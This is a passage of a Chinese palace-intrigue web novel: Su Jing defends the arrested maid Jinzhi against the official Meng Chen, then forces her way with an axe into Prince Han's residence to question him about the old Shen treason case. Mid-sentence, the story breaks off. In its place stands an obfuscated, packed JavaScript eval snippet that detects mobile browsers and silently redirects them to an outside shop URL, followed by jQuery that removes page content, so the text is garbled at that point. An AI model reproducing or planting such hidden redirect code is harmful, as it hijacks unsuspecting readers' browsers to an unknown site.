“苏小姐,你当真要拦我吗?”
“孟大人,臣女并非阻拦您,只是金枝乃贵妃娘娘身侧之人,她若是清清白白在我身侧入狱受辱,要我如何去见贵妃?”
沈婙形单影只,仅一人挡在孟琛面前。
她着素衣,不施粉黛,身形瘦削,手臂上的伤口还用布条缠着。
“孟大人若是找出了证据,臣女亲自擒住金枝双手,跪送大人。”
“她若是自裁了,或是在你苏宅跑了,我又该去哪找理?”孟琛已经恢复了往日的表情,似乎还挂着一些若有若无的笑意,“苏小姐,你能拿什么来向我赔罪?”
“你能拿什么向舍妹赔罪?”
“难道说是苏小姐一早便与金枝串通好了,金枝就是奉你之命,你今日才这般护着她。就是因为怕她供出你来?”
沈婙似乎没想到这里,讷讷道:“我—我——”
“苏小姐年幼,不懂这其中的个中关窍也是正常,我自然也不会与你计较。现下,你还要拦着我吗?”
沈婙别无他法,却还为她请求道:“孟大人,金枝虽只在我身侧几日,我却知她良善,不似那等凶神恶煞之人,大人暂无证据,还望善待于她。”
“不劳苏小姐多费口舌。”
孟琛转身就要走,金枝双手被缚,眼中满是惊恐,这位孟大人的手段她是曾听说过的,若是被带回牢狱之中,怕是不死也得脱层皮了。
她欲为自己辩解,却一动就被身侧卫兵狠狠地向外扯。
“你们干什么?”沈婙伸手拽住卫兵的手腕质问道,她的手看起来有些软弱无力,在卫兵粗壮的手腕对比之下显得有些不自量力,但她还是又一次质问道:“孟大人可许了你们打骂内廷宫女之权?”
孟琛在一旁冷眼看着,见这些卫兵面对质问投来的求助的眼神也不言语,他倒要看看这苏小姐要干什么。
却见那几人面对她的厉声质问缩回了手,苏婧则上前拍了拍金枝身上的灰尘,又拿手帕为她擦拭脸上溅到的脏污。
动作并不温柔,还带着些不耐烦之意,一边皱眉一边靠近金枝附耳说了些什么。孟琛没听清,但他猜不过就是些安慰之言,也不在意。
苏婧终于松开手,远离了金枝往院子外围走,他挥手大步向外,却见她已走到大门口,“孟大人若是不答应臣女,臣女今日绝不会让开这一步。”
“答应什么?”
“不能滥用私刑,不能屈打成招。”
孟琛阴笑更甚,“苏小姐若有证据,不若直接去举报我断过冤案,屈打成招。”
他承认,苏婧有几分胆识,但他已经不想跟她耗着了。
“屈打成招得来的替罪羊只会让九泉之下的孟小姐徒增冤孽,还望孟大人明鉴。”
孟琛顿住,“你再说一遍?”
他步步紧逼,苏婧只莞尔一笑,同样的话又复述了一遍,分毫未查。
她怎么敢的?她怎么敢在这个时候搬出云凝来的?
孟琛握着剑的手攥的更紧了,目光停留在她脸上许久,却不自觉地缩了缩步子。
“苏小姐若真是这么喜欢佛家转世之说,不妨直接出家为尼行善积德,还费尽心思要作什么韩王妃?”
“圣上金口玉言,臣女怎能违抗圣旨?”
孟琛不欲多言,只道:“没有证据前,我不对她动刑。苏小姐可满意了?”
话虽如此,带到了狱中要如何审问还不都是他说了算。
要证据,他孟琛何时缺过证据。
孟琛沉着一张脸看被绑着的金枝,继续问道:“你又是为何知道自己能在那夜出宫的?”
“如若不知,又如何敢确认那户人家夜间能容纳得下你?”
金枝低头不语,他更是气愤,觉着定然有鬼,攥紧拳头让人取来了长鞭,正欲一鞭子下去教教这个宫人如何做一个听话的疑犯,便见侍从来报:“在您离开后,苏小姐马不停蹄去了韩王府。
韩王不见她,她便硬闯了进去。“
孟琛听完脸色更是变了几变,韩王不见她怕也只是为了堵住外人之口,硬闯?
有谁能真的闯入韩王府?怎么不说硬闯进了皇宫?
只是区区金枝,韩王该也不会掺和进来。
***
沈婙是真的硬闯进去的。
会在韩王府门口吃闭门羹她早有预料,毕竟自己要做戏,俗话说无巧不成书,没有曲折波澜的故事更是没什么好听的,只是在韩王府门前跪求殿下垂怜和莽撞农女抡个斧头硬闯两个戏码之间,她非常顺理成章地排除了前者。
这么丢脸的事她才不干。
硬闯好歹还能展示一下她武功高强。
“所以苏小姐,这斧头你是不是该放下来了?”来送文件的徐季有些发怵地看着她手上的大斧头,小声问道。
沈婙低头看自己手上抡着的斧头正不偏不倚地对着顾蕴简的腿,她只需放低重心,屈膝稍一用力,往前一砍,韩王殿下应当就能无后而终了,而对面人则面色平静,毫无波澜,垂眼静坐品茶。
“殿下都不怕,你怕什么?”
“这也太——”徐季小声嘟囔,瞥见一旁不动如山的殿下并不出来为自己撑腰,便也只悻悻闭嘴告退。
“看来殿下对我的力气还是很放心的。”
房间内只剩了他们二人,沈婙垂眼看手中沉甸甸的斧头,又盯着不出声的顾蕴简看。
见对面不理自己,她使坏地略松了些手,那斧头往下落了几分,眼见锐利的刀刃就要垂到顾蕴简身上了,他才向上攥住沈婙手腕,连着手腕和拿着斧头柄的手掌一起握在手中。
“苏小姐倒像是习武多年。”
“乡间人哪个举不动斧头镰刀。日出砍柴烧火,日落前还在田间耕作,哪分什么女人男人。”
“殿下可别觉得活在同一片土地上大家便都是一样的,托生的娘爹不同,便有人端坐读书,有人日日奉茶。”
她意有所指,谁料顾蕴简直截了当道:“金枝是贵妃的人,苏小姐怎么求
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338094|199259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到我这来了?”
他甫一开口,沈婙就知道他的意思了。
顾蕴简不想干涉孟氏的事情。
不好干涉还是明面上不能干涉?
“殿下好端端地怎么提起她来了?”沈婙讶异道,“我何时说了要救她?”
“国有律法,她做了什么错事自然是要受罚的呀,她若是没做孟大人自然也会还她公道,于我一个无权无势的白身有何干系。只是有一事我不知,还望韩王殿下为草民解惑。”
“我在宫宴上见孟小姐时觉着她前呼后拥,与众人关系都不错,怎么宫宴一结束就有人对她恨之入骨,要取她性命呢?她可是做过什么伤天害理之事——”
沈婙话止于此,而后偷偷抬眼去看一侧殿下的脸色,只见他眼神疏离,神色如常,捧着书的指尖却轻轻颤抖,答道:“经年旧事,苏小姐不必太感兴趣。”
“我险些被此案牵连,身旁侍女又因此案被带走,我想知晓原委也是人之常情吧。”
顾蕴简沉默片刻看着她执拗的眼神道:“告诉你也无妨,只是我知晓的并不比坊间传闻的事情多。”
“从前的枢密院参谋副使沈婙将军的母亲与孟夫人是亲姊妹,沈将军与孟琛算来也是表亲。后来沈氏犯错,孟琛大义灭亲,虽成了他前程官位,却也遭坊间诟病,说他不念骨肉亲情,落进下石。”
“这沈将军也真是糊涂。好端端地枢密院副使不当,偏偏去做那通敌叛国的罪人。”沈婙接话道。
顾蕴简两眉微微颦起,却也只静静地看着沈婙,并不接她的话,沈婙便自顾自地说下去:“那沈家人不也早都死全了,谁还有那个本事来杀孟小姐?要我说,错都是那沈氏的错,若不是她又怎会连累她家上下那么多人,这孟大人虽说不念旧情,铁石心肠,但也是为了保全他自己和族人性命——”
“咔嚓”一声,放在另一侧的茶杯毫无征兆地碎了,瓷片碎了一地,沈婙愣了一瞬,便听见顾蕴简道:“朝政大事,苏小姐切莫凭心情妄议。”
“孟琛不分青红皂白便污蔑说我杀了孟云凝,我本来也不喜他,哪有凭心情议论一说。坊间人人都知道的事情,偏偏我说不得?百姓不都是说孟琛大义灭亲,是大陈功臣吗?我照这个话往下说,殿下怎么偏要来提醒我不得妄议呢?”
沈婙靠前一步,死死盯着他的眼,势必要将他每个细微的动作都记在心中,他的眼神丝毫不愿退让,反倒有些蔑视地勾起眼角,像是发现了什么好玩的事情。
见顾蕴简不答话,沈婙继续向前一步逼问,两个人险些要紧紧相贴了,“殿下怎么不说话了?”
沈婙想,他当真与孟琛关系不好?
还是不想和沈氏旧案扯上关系才不想她议论?
她继续在他的脸上寻求答案,耳畔却传来一句
“沈婙与我有旧,苏小姐不知道吗?”
这句话犹如惊雷轰隆一声在她脑中炸开,她怔怔地看向顾蕴简,仔细确认他的音容面貌,她不记得了,她何时与他有旧?